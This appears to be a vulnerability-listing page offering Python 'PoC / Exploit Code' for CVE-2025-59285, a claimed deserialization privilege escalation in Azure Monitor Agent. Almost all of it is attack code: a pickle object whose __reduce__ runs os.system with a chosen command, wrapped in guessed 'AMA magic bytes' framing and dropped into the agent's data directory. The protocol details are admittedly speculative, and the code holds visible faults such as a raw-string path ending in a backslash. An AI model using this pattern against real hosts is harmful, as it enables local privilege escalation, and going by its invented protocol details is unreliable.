Microsoft Azure Monitor Agent（所有未安装2025年10月安全更新的版本）
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59285 - Azure Monitor Agent Deserialization PoC
# Note: This is a conceptual PoC for security research purposes only.
# Actual exploitation requires specific environment configuration.
import struct
import pickle
import os
import sys
class AzureMonitorAgentExploit:
"""
Conceptual PoC for CVE-2025-59285 - Deserialization vulnerability
in Azure Monitor Agent leading to local privilege escalation.
"""
def __init__(self):
self.target_service = "AzureMonitorAgent"
self.payload_path = r"C:\ProgramData\Microsoft\AzureMonitorAgent\"
def craft_malicious_payload(self, command):
"""
Craft a malicious serialized payload that exploits the
deserialization vulnerability in Azure Monitor Agent.
"""
# Step 1: Create a malicious class that executes on deserialization
class MaliciousPayload:
def __reduce__(self):
# Command to execute with SYSTEM privileges
return (os.system, (command,))
# Step 2: Serialize the malicious object
malicious_data = pickle.dumps(MaliciousPayload())
# Step 3: Wrap in the expected AMA data format
ama_payload = self._wrap_ama_format(malicious_data)
return ama_payload
def _wrap_ama_format(self, data):
"""
Wrap serialized data in Azure Monitor Agent expected format.
The exact format depends on the AMA version and communication protocol.
"""
# AMA uses a specific binary protocol for inter-process communication
header = struct.pack('<I', len(data)) # Data length
magic = b'\x41\x4D\x41\x00' # AMA magic bytes
return magic + header + data
def deliver_payload(self, payload):
"""
Deliver the crafted payload to the Azure Monitor Agent service.
This could be via named pipe, shared memory, or local file.
"""
try:
# Method 1: Write to AMA's IPC named pipe
pipe_path = r"\\.\pipe\AzureMonitorAgent"
# Method 2: Write to AMA's data directory
payload_file = os.path.join(self.payload_path, "incoming_data.bin")
with open(payload_file, 'wb') as f:
f.write(payload)
print(f"[+] Payload delivered to {payload_file}")
return True
except Exception as e:
print(f"[-] Failed to deliver payload: {e}")
return False
def execute(self, command="whoami > C:\\pwned.txt"):
"""
Main execution method - crafts and delivers the exploit payload.
"""
print(f"[*] CVE-2025-59285 - Azure Monitor Agent Privilege Escalation")
print(f"[*] Target Service: {self.target_service}")
# Craft the malicious payload
payload = self.craft_malicious_payload(command)
print(f"[+] Malicious payload crafted ({len(payload)} bytes)")
# Deliver to target
if self.deliver_payload(payload):
print("[+] Exploit delivered successfully")
print("[+] Waiting for AMA service to process payload...")
else:
print("[-] Exploit delivery failed")
if __name__ == "__main__":
# Ensure we have local access (low privilege is sufficient)
if os.name == 'nt':
exploit = AzureMonitorAgentExploit()
# Default command: create a marker file to confirm code execution
exploit.execute()
else:
print("[-] This exploit targets Windows systems with Azure Monitor Agent")
sys.exit(1)